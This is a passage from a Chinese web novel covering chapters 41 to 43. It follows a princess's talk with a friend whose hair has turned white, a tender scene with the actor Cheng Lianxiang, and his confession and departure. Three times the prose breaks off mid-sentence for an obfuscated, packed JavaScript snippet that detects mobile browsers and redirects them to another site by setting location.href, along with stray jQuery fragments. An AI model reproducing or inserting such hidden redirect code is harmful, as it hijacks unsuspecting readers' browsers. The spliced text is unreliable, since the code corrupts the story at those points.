苻庆一开始没明白宁慈心的用意,还以为对方是要用头拱自己,半晌才反应过来凑过去看。 然而就是这一看,竟吓了苻庆一跳。她怎么也没想到,拿开复杂的发簪钗环露出来的,居然是已经灰白的头发。 “呀!”苻庆惊叫一声,后知后觉连忙捂住嘴。 宁慈心却明白苻庆这是看到了,放下手抬起头来,意外地她对于苻庆的惊讶没有表露出一点气愤,反而是一种意料之中的释然。 “害怕就叫出来吧,我不怪你。” 此时再看到宁慈心的冷静,苻庆反而觉得心中一阵难过,她想象不到宁慈心在第一次得知这件事情后是种怎样的心情,又是如何变成今日这副模样的。 “你走后,我在房内又坐了一日,第二天婢女进屋为我梳妆,便发现我的头发竟已经白了。” 一夜白发,这种事情苻庆只在书上读到过,此时只觉得连话都说不出,只能诧异地看着宁慈心。 “我知道你想说什么,我挺平静的,没有感觉到害怕。”宁慈心侧过头看向窗外,马车外街道上熙熙攘攘,宁国府马车高大,过往的行人纷纷避让,却又在避让时装作不经意地看向马车,苻庆知道,对于这些平民百姓而言,他们也很好奇国公府内的生活究竟是什么样子。 而此刻看着窗外的宁慈心,不知道是否也有一刻向往车窗外的生活。 “说实话,看着我这些花白的头发,我反而感觉到安心。”宁慈心看向苻庆,面容上居然露出一丝笑意,“至少这些白发还能提醒我,我曾经抗争过,即便那是无用的。” 苻庆轻叹一口气,她不明白宁慈心这么拧巴是为了什么,既然决定接受现实为什么还要这样折磨自己。 “要我说,你既然决定接受这门婚事,不如就放宽心算了。这世上好多事情都不会如我们意的,你若是这样计较起来,最后还只能是自己难过。” 这话苻庆说的是掏心窝子的话,这些年她一直是这样劝说自己走过来的。在苻庆眼里,她无法抗争的问题便统统接受是了,反正不论是同命运还是同皇命抗争,她都没有胜算。既然如此倒不如坦然接受,反而有时候会收获些意外之喜。 比如现在,这一场她并不情愿的赐婚,不是反而给了她一个目前看来还算不错的同盟吗? 宁慈心听完苻庆说话,眼睛肿波澜不惊看不出一丝情绪。就在苻庆以为对方不会接话的时候,忽然吐出三个字。 “我偏不。” 苻庆又傻眼了。 许是苻庆错愕的表情太过明显,宁慈心又笑了一次。 “苻庆,你知道为什么我一直看你不顺眼吗?” “废话,那我哪能知道?”苻庆翻了个白眼。 宁慈心并不介意苻庆的无礼,接着说道:“是因为我一直觉得你很假。” “我很假?” “对,我一直觉得你很虚伪,像个泥糊的人偶。” 这句话可是戳到了苻庆的心窝子,她皱皱眉,再张口说话也已经有些不客气。 “宁慈心,你是不是有什么毛病?你真以为全天下人都和你这般好命?生下来便是宁国公府的掌上明珠。对于我们普通人来说,活着已经很困难了,没有工夫纠结虚不虚伪的问题。” 宁慈心没有在意苻庆的出言不逊,反而是勾起嘴角笑了,“世上之人当然不会都同我这般好命,不仅要被迫嫁给一个三十多岁克死了两任妻子的老举子,还要被兄长威胁,说我如果再不同意出嫁他们便要分家,待父母百年之后让我再无人可依靠。” 这些事苻庆倒是始料未及,她对宁慈心的几位哥哥知之甚少,只知道他们大多依靠宁国公混着个荫亲的职位,在朝中做些边缘的小官。她本以为宁慈心真的如外界所言受着全家人的宠爱,却没想到她那些哥哥竟是这般趋利避害的人,即便是对自己的亲妹妹也是一点情面不留。 “我父母再疼爱我,到底也是年纪大了。我又是一个女子,若最后真的闹到分了家,难道我父母能靠我一个连大门都不能迈出的女儿来支撑宁国公府的门楣吗?” 看着宁慈心抬起头任眼泪滑落脸颊的样子,苻庆再说不出旁的话。 “所以,苻庆我问你,我这样的好身世是不是该值得旁人羡慕?” 苻庆的心中一阵阵泛酸,其实有时候她也会思考这个问题。她并非是不明白平民百姓连基本的温饱都难以满足的痛苦,可是若真的能换,她倒愿意舍弃这个公主的身份,和父母一同回到天寒地冻的锦西城。 车厢内沉默了一阵,半晌苻庆才开口说道:“宁慈心,那你有没有想过我的虚伪同样也是一种自保的手段,我如果不这样做,你以为下场就会好吗?” “若是行为虚伪也就罢了,我恨的是你连心都是虚伪的。” 苻庆一愣。 宁慈心刚落过泪的眸子还闪着光,再看向苻庆的时候,忽然浮现出从前的样子,从前那个目空一切的大小姐样子。 “苻庆,我最讨厌的便是你这幅样子。明明都是他们欠你的,你自己心里也明白,但到头来你居然什么都没有做,任由他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446130|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们把你踩在脚底下。” “我……”苻庆已经明白了宁慈心所说的虚伪是什么意思,她很想辩驳自己并非是这样的人,但话到嘴边又被咽了回去。 “你刚把那个小戏子抢回府的时候我还以为你终于开窍了,却没想到最后还是如原来一般。”宁慈心看着苻庆摇摇头,“我真的对你很失望。” 苻庆终于想好自己要说的话,她抬起头对宁慈心一挑下巴,“那你呢?难道你不是同样也抗争无果,只能乖乖地服从皇命吗?” “认命是没办法的,但是要我低头,那不能够,孔家以为让我同意成亲一切便结束了?放心吧,日子还长着呢。”宁慈心收回目光,“苻庆,你等着瞧吧,我一定会让你看到我同你永远是不一样的。” 到达公主府后苻庆下了马车,松醪赶紧走过来查看,这一路上她跟着马车却是一路担惊受怕,生怕苻庆和宁慈心真的会在马车上起争执。 苻庆笑着摇摇头,待走进府门后,突然轻声对松醪说道:“陛下已经决定要在四月十七举办婚礼。” “四月十七?可是四月不是……”松醪噤了声。 苻庆却是一声嗤笑,“你看,正常人都会记得这件事,只有他,无情无义的一个人,才能做出这样的蠢事。” 松醪顿了顿,“公主,要不要和贵妃娘娘想个办法?” “陛下是打定主意要让我赶快出嫁,好平息朝堂上诸方势力之间的纷争,姨母若在这个时间节点上劝谏,一定会惹陛下不满的。”苻庆回身看向松醪,“你赶快递消息进宫,但并非是要我姨母去劝陛下,而是叮嘱千万不要劝,即便陛下主意已定,便这样吧。” 松醪咬着下嘴唇,却只能点头应下。 刚进入翠华庭,苻庆便被站在院子内的一个婢女吸引了目光。 “揽晴轩的丫头?程怜香过来了?” 婢女福身行礼,“回公主的话,程伶人带了点心过来,已经在屋内等候公主多时了。” “奇怪,他过来做什么?”苻庆嘴上这么说着,实则脚下的步子已经快了好几分,不等松醪追上便进入了正堂。 程怜香正坐在正堂喝茶,见苻庆走进来,下意识想要站起来迎上去,但转念一想又止住了动作,坐回了椅子上。 苻庆不在意程怜香的无礼,眼睛直接被桌上的糕点吸引了过去,“小香香,给我带什么好吃的了?” 程怜香面上一红,嗔怪道:“胡说八道。”接着将桌上的糕点往前推了推,“嗯,在这呢,我过了中午才带回来的,你快洗了手尝尝吧。” 苻庆洗手的过程中眼睛都离不开那盘点心,待洗完手赶紧抓起一块点心咬了一口。刚入口有一种淡淡的绿豆香味,再仔细品尝后发现还有一种茶叶的清香。 “好吃吗?” 苻庆看着程怜香的眼睛,重重点头。 “真的很好吃,我之前都没尝过这种点心,你从哪买的?回头我让松醪再去买点。” 好吃就对了。程怜香在心中默默说道。 “这种点心叫碧涧豆儿糕,是用绿豆和茶叶制作的,只不过恐怕你们是买不到的。”程怜香微笑,“这是我从顾老仙那拿回来的,他每年这个时候都会做上一点,今天我赶得时间巧,正好刚做好一锅。” 苻庆一愣,没想到这竟然是顾仙人亲手做的,那确实是以后不好得到了,心中一阵惋惜,眼睛不自觉地看向桌上的糕点。 苻庆的表情都被程怜香看在眼里,他自然明白苻庆此时心中所想,而这正是他想得到的结果。 41. 手帕 前几日苻庆说要将他送出府后,程怜香在屋里生生躺了一日。从一开始的心如刀绞到后来的心灰意冷,只觉得自己从鬼门关转了一遭才回来。 到第二日上午,婢女送进屋一碟玉露霜。程怜香只一眼便瞧出这碟玉露霜又是从上次买枣泥酥那家点心铺子买的,顿时又想起自己在台上看到苻庆与杜至善眉来眼去相谈甚欢的样子,气鼓鼓地翻个身准备眼不见为净。 就在转身这一刹那,程怜香的脑子里忽然冒出来一个新的想法。 苻庆现在认准这家点心铺子不过是因为觉得他家点心好吃,那如果自己能给苻庆找到一种更好吃的点心,苻庆不就也会因此永远忘不掉自己吗? 想到这,程怜香翻身便从床上坐起来,吩咐人套了马车便往顾仙人的居所赶去。 要说这碧涧豆儿糕,实则是苻庆沾着了程班主的光。程班主不爱喝茶,却喜欢吃茶叶做成的点心。因此每年这时候顾仙人得到好茶叶之后,便会做一批碧涧豆儿糕给和春班送过去,从前程怜香都是跟着师父吃的这等好东西。这次他为了能够让苻庆记住自己,硬生生地从本该送到和春班的份量中抢了一包出来。 顾仙人瞧着程怜香这幅没出息的样子,直呼程班主乃是识人不清,竟找了这么一个没良心的白眼狼。 现下程怜香看着苻庆吃着糕点满足的样子,只觉得即便被师父知道也值了。他就不信之后苻庆每每吃起点心的时候,不会想起这碟子碧涧豆儿糕,不会想起自己。 苻庆却没想到程怜香这些弯弯绕绕的小心思,只是有些可惜这样好吃的点心竟然是限定的。 “怎么样?顾老仙做点心是有两把刷子的吧?” 苻庆看着程怜香点点头。 “只可惜这以后公主怕是就吃不着……” “松醪。” 苻庆忽然打断程怜香的话,接着拿起一块碧涧豆儿糕递给松醪。 “你把这块送到小厨房去,问问有没有办法能将它复刻出来,即便做不到完全还原,能还原一部分也是好的。” 松醪点头,拿着点心转身退了出去。 苻庆再次转回头,一双眸子茫然地看着程怜香,“你刚才说什么?” 程怜香只感觉自己气不打一处来,奈何什么都说不出来,最后只能气呼呼地哼了一声。 “我说,苻庆公主真是聪慧,还能想到这种法子。” 苻庆根本没听出来程怜香话中的嘲讽之意,只觉得他夸自己的话有些没头没脑,但粗枝大叶的神经也没有让她将此事放在心上。 “不过你怎么每次我从宫里回来都会在翠华庭等我呢?”苻庆疑惑地看向程怜香,“这也太巧合了吧?” 我那是刻意来的好不好?程怜香在心中大叫。由于每次苻庆入宫程怜香都无法陪同,但他又实则担心苻庆会入宫受欺负,因此只能每次都提早到翠华庭等着苻庆从宫中回来。奈何苻庆根本感觉不到程怜香的这种小心思,在她眼里只觉得程怜香找自己的时间有些凑巧罢了。 “你说得对,都只是巧合罢了。”程怜香呼出一口气,强迫自己冷静下来,板着脸问道:“不过你这次入宫瞧着贵妃娘娘怎么样了?气色可好些了?” “看起来是好些了,不过也没说几句话。”苻庆端起茶盏喝了一口,将今日自己入宫的情况给程怜香讲述了一遍。 “我亲眼见着了,宁慈心的头发是真的白了。”想到此事苻庆就一阵唏嘘,“我真是没想到,赐婚这件事情对她的打击竟然这么大。” 程怜香轻轻摇头,“任谁来说,打击都会是很大的吧。” “这当然不是啊,你瞧我。”苻庆抬起头,很是骄傲地扬起下巴,“我就接受得很坦然啊。” “呸。”这事又刺到了程怜香还有些脆弱的神经,“你要是接受得坦然,我怎么会在这里?” 苻庆这才后知后觉想起来程怜香是如何入府的,被程怜香说了之后却不生气,反而露出来一个笑容,抿抿嘴唇继续吃糕点了。 程怜香不知道是不是自己的幻觉,反正他总觉得今日的苻庆格外好说话,不论他怎么说对方好像都不会生气。程怜香只当是对方觉得吃自己的东西嘴软,因此也没有过分纠结此事。 但对于此刻的苻庆来说,内心中却正在陷入一场巨大的挣扎。 下月十七便是举行婚礼的日子了,这也意味着苻庆应当在这之前按照和程怜香的约定将其送出府去。她确实之前就想好要如何为程怜香安排退路,但一直拖到现在也没有实施。 苻庆咽下口中的碧涧豆儿糕,只觉得后调的茶叶带着一点淡淡的甘味,从喉咙一路苦到了心口。 不得不承认,和程怜香在府中相处的两个月时间其实挺有意思的,这样的生活对于从皇宫中憋了六年的苻庆来说,是一种十分新奇又快乐的体验。而这也导致苻庆此刻只要想到要将程怜香送出府,想到之后回来就再也见不到这个会脸红会使小性子会怼自己的人,心中便有些不舍。 更何况,这两个月时间发生了不少事,苻庆甚至都已经习惯了每次回府后都到揽晴轩或是在翠华庭和程怜香说说话的日子了,她甚至不能想象如果以后在这府里没人陪自己了,那自己会过着多么孤单的生活呢? “喂,喂!” 苻庆猛然被程怜香叫回现实。 程怜香只看着苻庆盯着同一个位置已经半晌了,眼珠子都不带转的,要不是她嘴巴还在机械地吞咽着碧涧豆儿糕,程怜香真在想苻庆是不是睡着了。 “你看什么呢?看这么认真。” 苻庆回过神,扭过头将视线落在程怜香脸上。 程怜香今日忽然穿了件鹅黄色的道袍,苻庆从前从未见过他穿这么浅色的衣服,乍一看只觉得程怜香这身搭配清新脱俗。额上头发有些凌乱,几缕碎发落在脸颊两侧。苻庆定睛一看,甚至发现他额头上还沾着一块煤灰。 这样端庄美丽的一张脸实在和这块煤灰是有些格格不入的,苻庆甚至都想象不出程怜香蹲在灶台前烧火做饭的样子。见对方丝毫不知甚至带着这块煤灰招摇过市,苻庆只觉得想笑。 苻庆将最后一块碧涧豆儿糕塞进嘴里,轻轻拍手抖落手上的糕点碎末,倾过身子靠近程怜香,“过来。” 虽说苻庆现在和程怜香还隔着一张桌子,但这两个字已经足够让程怜香想起一些古早的难登大雅之堂的记忆。一时间程怜香只感觉到面皮一红,手迅速捂住自己的领口,后背向后倚靠避开了。 苻庆瞬间明白了程怜香脑子想的什么,忍不住笑出声音。程怜香被苻庆笑得脸上更红了,又不知道苻庆究竟是想做什么,只能抓着领口坐在原处一动不动。 苻庆直笑到撑着桌子弯下腰,好一会才缓过气来。 “程怜香,我说你这脑子一天到晚都在想什么啊?原先我怎么没瞧出来,你竟是个这么不正经的人。” 程怜香也发觉自己反应确实有些大了,这会感到些许不好意思,但还是梗着脖子道:“胡说!这还不是被你逼的,若不是你之前那样对我,我会变成现在这样吗?” 苻庆也不继续纠结此事,伸出手对程怜香说道:“我要你的手帕。” “手帕?”程怜香这才明白苻庆是想要拿自己的手帕擦手,终于松开自己捂着领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446131|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的手,从袖中拿出手帕递过去。“要手帕就直接说要手帕,非要说奇怪的话。” 今日程怜香用的是一块绣着桃花的手帕,苻庆忽然想起来之前见到的程怜香那块没洗干净的手帕,边擦手边问道:“怎么?不是之前那块没洗干净的帕子了?” 程怜香只觉得苻庆真是哪壶不开提哪壶,提到那块帕子他便觉得自己的脸上更烫了。原因无他,那块帕子程怜香到现在还没洗,带着那块红色口脂存放在了抽屉最底处。 程怜香伸手抢了一下,“你到底用不用?不用还给我。” “急什么?”苻庆擦干净手,慢条斯理将手帕重新叠整齐,却不立即还给程怜香,而是站起身走到程怜香面前。 程怜香皱眉看着苻庆慢悠悠走过来,面上一副不明所以的表情。 苻庆站定,看了一眼坐在椅子上的程怜香,忽然伸出手压在了程怜香的肩膀上。 程怜香吓了一跳,“你做什么?” “嘘——”苻庆笑着将食指比在唇上,接着俯身下去。 程怜香只看到苻庆离自己的距离越来越近,感觉到自己的心跳也随着越来越快。他并不知道苻庆下一步要做什么,却又隐隐约约感觉到一阵期待。程怜香的手指不自觉地捏起衣角,就在他的视野中只能看到苻庆眉眼的时候,慌张地闭上了眼睛。一时间,世界上仿佛只剩下他们二人,而程怜香能听到的,只有他自己的心跳声。 接着,便感觉到额头上被人用手帕轻轻擦拭了几下。 程怜香睁开眼,苻庆笑得竟有几分温柔。 “害怕什么?我看你额头上有一块煤灰而已。” 苻庆再三确定煤灰已经被擦干净,伸出手将手帕还给了程怜香。 覆在身上的影子消失了,程怜香回过神来,苻庆已经坐回到了椅子上。看着对方喝茶的样子,应该是没有因为这个动作而产生一点情绪的波动。 但程怜香却在心里,切切实实地感受到一阵失望。 “程怜香,谢谢你。”苻庆放下茶盏,“谢谢你今天给我带的茶点,还有你愿意帮我照顾我姨母的病。” 程怜香略有些迟缓的摇头,“都是小事,不用客气。” “我……”苻庆咬了一下自己的舌头,生生把后边的话吞回了肚子里。“我姨母说,她会好好吃药的。” “那就好。”程怜香生怕苻庆发现自己的异样,说完话连忙起身告辞。 而苻庆更是担心程怜香发现自己说的这句话究竟有多么驴唇不对马嘴,慌忙将程怜香送走了。 待程怜香走出院子,苻庆才坐回椅子上,重重呼出一口气。 帮程怜香擦煤灰当然是苻庆故意的,她一开始确实只打算告诉程怜香一声便算了的,但是看到对方因为自己的靠近反应那么大,让苻庆又起了逗弄程怜香的念头,因此出现了刚才那一幕。 而在程怜香闭上眼睛的那一刹那,苻庆当然也看出了程怜香的意思。看程怜香那张肤白胜雪的脸蛋,还有对方不知是不是因为紧张而轻轻抖动的睫毛。苻庆只觉得干脆顺水推舟,吻下去算了。 本来以为经过这些日子的考验,自己对于程怜香这张脸蛋的抵抗力已经加强了,却没想到竟是越来越差劲了。稍有不慎便感觉自己的意志力在悄然崩塌,差点便要将从前答应程怜香的话抛到九霄云外去了。 也因此,苻庆最后还是没说出来自己婚期已经确定的事情,而是胡说八道着就将程怜香送走了。 想到这,苻庆又叹了口气。 明知道这件事迟早要说,可看着程怜香的脸,苻庆又觉得自己的嘴怎么都张不开。 42. 表白 日子一进入四月,明显能感觉到京城的气温已经逐渐变高。苻庆最讨厌的便是京城的夏季,她从小在锦西城长大,只觉得这京城的夏季是又热又潮湿,只逼得人想要抓狂。 “每年这个时候,都是最想回家的时候。” 松醪见苻庆又站在玉兰树下出神,知道苻庆每年这时候心情都格外不好,心里也暗暗叹气。 “公主,奴婢叫府上去外头采买了青梅酒,您要不要尝一尝?” “青梅酒?”听到“酒”字,苻庆的注意力立刻被吸引了过来。 苻庆看着松醪端过来的黑褐色酒瓶,拿到手中扭开瓶盖,放到鼻子下轻轻嗅闻。 “好香!闻起来像是一年以上的陈酿。” 松醪见苻庆表情柔和,微笑着点头,“公主好聪明,这是奴婢特意着人挑的,都是封了一年以上的。” 苻庆只觉得心情瞬间轻快不少,立刻着人搬了一把贵妃榻在玉兰树下,要赏着花自饮自酌。 随着气温变高,玉兰花的花瓣已经开始腐烂发黑,眼见着便要凋落了。不过对于此事,苻庆并没有什么伤心之情,只觉得这玉兰树着实好养活,花瓣掉进土里还能给自己施肥,实在是方便。 欣赏着这院子春日里的最后一景,品尝着略带酸涩口感的青梅酒,苻庆终于可以短暂地将尘世的烦恼放在一边,放肆地在贵妃榻上伸着懒腰。 这日子过得真好,若是程怜香也在就好了。 这个念头不知道在什么时候进入了苻庆的大脑,吓得苻庆赶紧甩了甩头,试图将这个想法赶出自己的脑子。 自从那日二人草率分别,到现在已经四五日未见了。对于苻庆来说,她如今正在强迫自己逐渐适应没有程怜香陪伴的生活,因此绝不会主动去找程怜香。而这几日程怜香也不知道是在想什么,也没有到翠华庭中,安安静静地好像这个府中本来就不存在这个人。 苻庆脸色已经有些透红,此时抱着酒瓶子倚在贵妃榻上出神。 也不知道从什么时候起,苻庆已经养成了不管遇到什么事都想要先告知程怜香的习惯了。虽说程怜香对于苻庆所处的环境知之甚少,许多事情时常需要苻庆将来龙去脉全都细细讲过一遍才行,但对于苻庆来说,她还是愿意将那些事情讲给程怜香听。 因为只要在程怜香这里,苻庆才能感受到一个正常人该有的反应。 若真要算起来,程怜香才是个真正的苦命人。但苻庆很少在程怜香口中听到抱怨天道不公的话,反而是这些经历给予了程怜香去同情他人、体谅他人的一种能力。 也因此,苻庆常常感觉自己是比不上程怜香的。 最晚四月中旬,苻庆就必须送程怜香离开了。此刻苻庆已经知道自己又是在通过自私与皇权禁锢着程怜香的自由,实则自己又任性了一回。但她还是想要让分别的日子再往后推远一些,哪怕只是几天。甚至于在这几日之内,她同样也是不见程怜香的也好。 至少只要程怜香在府中,苻庆便感觉到这世上又多了一个自己能够信任的人,又多了一个让她留恋这个世界的理由。 而多出来的这几日,正好让苻庆悄悄差人预备好程怜香日后的生活。 苻庆已经差人去调查过了,如今和春班居住的院子并非是他们自己的,常年表演的园子也并非是和春班的私有财产,这便会为和春班增加额外的花销。因此这几日苻庆便让人想法子将和春班租住和表演的地方的买下来,到时候自己将房契一并交于程怜香,也算是免去和春班今后的后顾之忧,让他们能够安稳的在京城继续待下去。 同时,苻庆还将之前宁慈心送来的一千两包银的一部分换成了银票,程怜香孝顺,现银必是要交给程班主的。而那部分银票,便能够让程怜香存放起来以备不时之需。 而且,苻庆还存了一点私心,她故意让人选在了自己入股的商号进行了银票的兑换,到时候程怜香一旦去商号兑换现银,她便能够立刻知道消息。万一到时候程怜香真是有什么急事需要用钱,她也能暗中相助。 想到这,苻庆咧嘴一笑。 也不知道程怜香这个没良心的,到时候还能不能记得自己。 正想着,苻庆忽然感觉自己真的看到了程怜香,对方穿着一件月牙白色的直缀,走过来的时候还颇有气势,好像动了很大肝火。 苻庆嘿嘿一笑,“松醪,我好像真的喝醉了,我怎么看着程怜香走过来了?” “苻庆!” 一嗓子终于把苻庆喊清醒了。 这时她才发现自己并非醉酒,而是程怜香真的站在自己眼前了。 青梅酒的后劲还是有些大的,苻庆说话的时候有些不清楚,“程怜香,你来干什么?” 程怜香没想到苻庆正在喝酒,冷笑着说道:“我来,当然是参观参观杜家的聘礼啊!” “杜家?聘礼?”苻庆猛地坐起身,“你说什么?” 程怜香不说话,只是微微让开一点位置。苻庆向后看去,正好看到一伙人敲锣打鼓地走进翠华庭院中。 苻庆跳起来,“这是什么情况?” 松醪此时也赶紧走了回来,先是看了一眼程怜香的表情,接着凑到苻庆跟前轻轻说道:“公主,杜家将聘礼送到宫中了,这是陛下特许从宫中送过来的。” 苻庆这才想起前几日用午膳的时候陛下好像确实提过一嘴,只是没想到杜家办事居然这么快。 “这么着急?不是十几日才大婚吗?” “十几日大婚?”程怜香怒气冲冲地重复了一遍,“苻庆,这么说你早就知道自己要成婚了,对不对?” 松醪再次瞥了一眼程怜香黑的吓人的脸色,立刻决定走为上策,福身借口自己要去收聘礼入库房,赶紧溜走了。 玉兰树下只剩下苻庆和程怜香两人。 “我前几日不是入宫了吗,也是那会刚知道的。”苻庆见谎言已经被拆穿,甚至有些不好意思看程怜香,眼神躲闪着说道。 “那你怎么不及时告诉我?那日你回来的时候,我明明在翠华庭等你啊!” 苻庆哪敢说实话,只能支支吾吾道:“那日我吃着你带的碧涧豆儿糕实在好吃,一不留神就给忘了,不是故意不告诉你的。” 程怜香从苻庆的态度中已经明白这话必然是假话,若是真的,苻庆此时早已经嚷嚷起来了。也因此,程怜香只感觉到更加生气。他只当是苻庆不把他当回事,因此才不愿意将此事及时告知他。 程怜香只感觉此时自己已有些咬牙切齿,“苻庆,你到底是怎么想的?你是不是忘了,名义上我现在仍然是你公主府的面首,难道在成亲之前你不打算让我出府了?” “怎么可能?”苻庆慌忙否认,“只不过我还有些事情需要预备妥当,所以才拖了些时日。” “预备妥当?怎么,你和杜至善成亲还需要预备什么?难道是在这公主府也为他准备一个院子吗?” 程怜香只感觉从心窝蹿出一股酸涩,一路涌上眼角,只逼得他想要落下泪来。 这话反而提醒了苻庆,这几日她光忙着预备程怜香离府的事情,竟然忘了即便是为了面上好看,也应当在公主府为杜至善挑一座院子出来。 “那自然也是可以的。”苻庆一时间也想不出哪座院子好,只觉得最好能让杜至善住的离自己远一些,因此伸出手想要招呼松醪帮忙。 谁知胳膊刚伸出来便被程怜香截了胡,一把捞在手里。 “苻庆,你这个没有良心的狗东西。难道直到此时此刻,你还没有发现我已经喜欢上你了吗?” 听完这句话,苻庆只觉得自己应当是醉的过分了,否则怎么会足足半晌才反应过来这句话的意思呢?程怜香看着苻庆转动眼珠,半晌才将眼睛的光落在自己脸上,只觉得心中更加伤心生气。 苻庆此时才发现程怜香眼睛红红的,好像是快要哭了。 “你刚才说什么?” 既然话已经说出口了,左右自己马上要走,开弓便是没有回头箭。程怜香咬咬牙,斩钉截铁地说道:“苻庆,我喜欢你。即便你要嫁给杜至善,我也喜欢你。” 这是苻庆人生中第一次被人表白,又加上刚饮过酒,只觉得脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446132|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里热热的,不是很清醒。看着程怜香此时认真的神情,不动容那是假话。有一瞬间苻庆真想那就这样吧,干脆将程怜香留在府中。程怜香的眼睫毛很长,此时轻轻颤抖着,一双瑞凤眼紧紧盯着苻庆,眸子中是前所未有的坚定。这样一张脸即便是摆在家中当菩萨供着,也是一桩美事。 但下一刻,苻庆又醒了过来。 若真要将程怜香留在府中,程怜香日后只能依靠偶尔去达官贵人家唱几场堂会坚持唱戏,而这样的生活无疑与程怜香梦想中的生活背道而驰。在这样的背景下,程怜香充其量只能算作公主府内豢养的一只家雀,绝不可能成名成角儿,更别提做什么程班主了。 “程怜香,那你可要想好了,若你真的要与我在一起,便绝不可能唱戏了。” 程怜香被苻庆说的一愣,苻庆趁机抽回了自己的胳膊。 “你别忘了,若你真要在公主府留下做个彻彻底底的面首,你就不可能再守着你的小童子身了。”说到这,苻庆还笑着眼睛上下打量了两下。 这话说的程怜香一愣,随即开口问道:“我不信,难道这几个月你同我待在一起,这么久时间你说的那些话都只是贪图我的身子吗?” “自然是。”苻庆还要伸手去捞程怜香的衣领,“要不然你以为还会是因为旁的吗?” 程怜香下意识地立刻弹开了。 他本以为经过这几个月来的相处,苻庆至少对自己有几分感情,即便只是由于二人在一起时间久了也罢,他也甘心了。可没想到直到现在,苻庆仍然只是贪图他这副皮囊,对他这个人毫无任何兴趣。 “你,你这个浪荡子!” 苻庆见话有了作用,继续说道:“程怜香,你如今便是因为在戏班子待久了,实在没遇到过什么女子导致的。你以为你是真的喜欢我吗?说白了,你不过是因为这几个月只能与我待在一处,才会出现这种奇怪的想法。” 这回轮到程怜香感觉自己脑子转不过来了,“你这话是什么意思?” 苻庆一字一顿说道:“我说,其实不论你是和谁待这几个月,你都会爱上她的。” “你以为我是傻子吗?我连自己是不是真的喜欢你都分辨不出来?”程怜香有些炸毛,“还是说,你这个公主水性杨花惯了,见一个爱一个,才会有这番说辞给自己找补?” “并非找补,而是事实。”苻庆还没有意识到自己已经是惹恼了程怜香,“说实话,若是这几个月同我在一处的是杜至善,我也会习惯他在府中的。” 程怜香先是愣了半晌,像是在努力消化苻庆所说的话,同时也在努力消化自己人生中第一次表白便换回这样结果的事实。 “你,你将我同杜至善比?”程怜香只觉得有些荒唐,“我同你经历了这么多,你将我同杜至善比?在你心里,你觉得我和杜至善没有分别吗?” “那是自然。”苻庆继续昧着良心说梦话,“在我心里,你同杜至善都是一样的。” 半晌,程怜香忽然用嘴角扯出一个笑容,这个笑既是在嘲笑他的软弱,同时也是在嘲笑这几个月自己错付的时光。 他还以为苻庆至少能够对自己有所区别对待,却没想到自己在苻庆心中竟然只不过如此,甚至不过是与和苻庆只见过几次面的杜至善一般。 他的那些痛苦、嫉妒,此刻都变成了一种笑料。 既然如此,他的感情还有什么意义? “好,好,好!”程怜香忽然大声说道:“既如此,我绝无颜在公主府继续待着了。我倒要看看,看我出府后公主是怎样同杜博士琴瑟和鸣、恩爱到老的。” 说完,程怜香拂袖而去。 像是有什么感应一般,程怜香刚离开,便有一朵玉兰花落下来,正好掉在程怜香刚站过的位置。 那朵玉兰花花蕊已经枯萎了,但花瓣还是粉白色的。远远看去,根本瞧不出为何突然坠落枝头。 苻庆望着程怜香离开的背影,只觉得心里忽然空了一下。她伸手想要留住程怜香,但张张嘴却又什么都没说不出来。最后就这样,看着程怜香离开了翠华庭。 43. 离府 第二日一大早,苻庆就让松醪准备好马车往皇宫中去,既然和程怜香之间已经戳破了最后一层纸,苻庆必须赶紧将程怜香的身契从宫中要出来。 昨夜并没有睡好,苻庆几乎是做了一夜的梦,因此坐在马车上只觉得昏昏沉沉。苻庆撩开帷子一角,只觉得外头阳光刺眼无比,兴致索然地松开了手。 苻庆并不担心要回程怜香身契的事情,这种事情可谓是皆大欢喜,她简直想不到任何人阻拦此事的原因。可不知为何,她就是开心不起来。 她的脑子里,忽然全都是程怜香对自己表白的样子。 在苻庆看来,她仍然感觉这是程怜香的一种错觉,是因为自己强迫程怜香入府产生的一连串连锁反应,否则她真的不明白一直憎恨自己的程怜香为什么会忽然说出这种话。可是脑子里一想起程怜香那双微红的眼睛,苻庆又觉得心中一阵难受。 到达晏呢殿,薛贵妃刚刚喝完药,看到苻庆入宫还有些奇怪。 “昨日刚和花露说起你,你怎么就来了?” 苻庆不愿开门见山,先是问道:“姨母和花露说起我什么了?” 薛贵妃与花露相视一笑,“说起杜家的聘礼已经由陛下过目后,送到公主府上去了。” 苻庆一愣,才想起来这件事必然瞒不过薛贵妃,点头承认。“我收到了,已经让松醪清点入库了。” 